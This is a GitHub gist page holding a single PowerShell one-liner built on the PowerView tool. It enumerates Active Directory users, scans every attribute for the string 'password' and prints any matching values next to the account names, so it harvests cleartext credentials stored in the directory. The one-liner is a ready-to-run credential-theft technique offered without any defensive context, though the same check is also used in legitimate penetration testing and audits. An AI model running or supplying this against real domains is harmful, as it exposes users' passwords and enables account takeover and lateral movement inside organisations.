Skip to content

Instantly share code, notes, and snippets.

@dafthack
Created March 19, 2019 14:38
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save dafthack/5f8c36f7468fad991e9e1f6d81ec29d4 to your computer and use it in GitHub Desktop.
Save dafthack/5f8c36f7468fad991e9e1f6d81ec29d4 to your computer and use it in GitHub Desktop.
PowerView One-Liner to Dump Cleartext Passwords From AD User Attributes
$users = Get-NetUser; $props=@(); $users | Get-Member | foreach-object{if($_.Name -notlike "badpassword*"){$props+=$_.Name}}; foreach($user in $users){ foreach($prop in $props){ if($user.$prop -like "*password*" -and $user.$prop -notlike "*dont_expire_password" -and $user.$prop -notlike "*RODC Password*"){Write-Output ($user.samAccountName + "[" + $prop + "]" + " : " + $user.$prop) } } }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment